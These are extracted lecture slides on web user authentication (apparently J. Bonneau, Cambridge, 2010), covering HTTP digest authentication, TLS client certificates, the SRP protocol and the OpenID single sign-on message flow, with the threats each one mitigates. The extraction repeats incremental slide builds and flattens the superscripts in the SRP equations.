response="6629fae49393a05397450978507c4ef1",

128.28.2.138 −→ www.example.com

resp. = H(H(user||pass)||nserver||countern||nclient||H(params))

HTTP digest access authentication

Mitigates: password sniffing, database compromise
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Designed login protocols

TLS client certificates
Mitigates: password sniffing, phishing, DB compromise
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Designed login protocols
Public parameters:

N = 2q + 1, q, g : |〈g〉| = q, k ∈ ZN

Setup:
C −→ S : C, p

S : s R← ZN , x ← H(s, p), store C, v = gx) (mod N)

Authentication:
C −→ S : C, A = ga (mod N)

S −→ C : s, B = k · v + gb (mod N)

C : x ← H(s, p), K ← H
(
(B − k · gx)a+x·H(A,B)

)
S : K ← H

(
(A · vH(A,B))b)

Secure Remote Password (SRP) Protocol
Mitigates: password sniffing, phishing, DB compromise
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Avoiding password collection

www.bugmenot.com/view/nytimes.com

Mitigates: password re-use across security domains,
database compromise
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Avoiding password collection
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Single sign-on
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Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!

OpenID
Mitigates: password re-use
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Single sign-on

OpenID
Mitigates: password re-use

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 41 / 42



Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!
R ←→ P KR-P, n← D-H key exchange

OpenID
Mitigates: password re-use
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Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!
R ←→ P KR-P, n← D-H key exchange
UE ←− R OK, go verify with P (HTTP 302)
UE −→ P I want to talk to R, who you share n with

OpenID
Mitigates: password re-use
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Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!
R ←→ P KR-P, n← D-H key exchange
UE ←− R OK, go verify with P (HTTP 302)
UE −→ P I want to talk to R, who you share n with
UE ←− P Sure you want to talk to R?

OpenID
Mitigates: password re-use
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Single sign-on

OpenID
Mitigates: password re-use
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Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!
R ←→ P KR-P, n← D-H key exchange
UE ←− R OK, go verify with P (HTTP 302)
UE −→ P I want to talk to R, who you share n with
UE ←− P Sure you want to talk to R?
UE −→ P Yes, here’s my password: p

OpenID
Mitigates: password re-use
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Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!
R ←→ P KR-P, n← D-H key exchange
UE ←− R OK, go verify with P (HTTP 302)
UE −→ P I want to talk to R, who you share n with
UE ←− P Sure you want to talk to R?
UE −→ P Yes, here’s my password: p
UE ←− P Okay, use MACKR-P(U, P) (HTTP 302)
UE −→ R MACKR-P(U, P)! See, I’m U@P

OpenID
Mitigates: password re-use
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Single sign-on
R Relying party (www.example.com)
P OpenID Provider (Facebook, Google, etc.)

UE End user (a human)
UA User agent (a browser)

UE −→ R I’m U@P!
R ←→ P KR-P, n← D-H key exchange
UA ←− R OK, go verify with P (HTTP 302)
UA −→ P I want to talk to R, here’s my cookie c
UA ←− P Okay, use MACKR-P(U, P)
UA −→ R MACKR-P(U, P)! See, I’m U@P

OpenID (auth-immediate)
Mitigates: password re-use
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Questions

jcb82@cl.cam.ac.uk

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 42 / 42


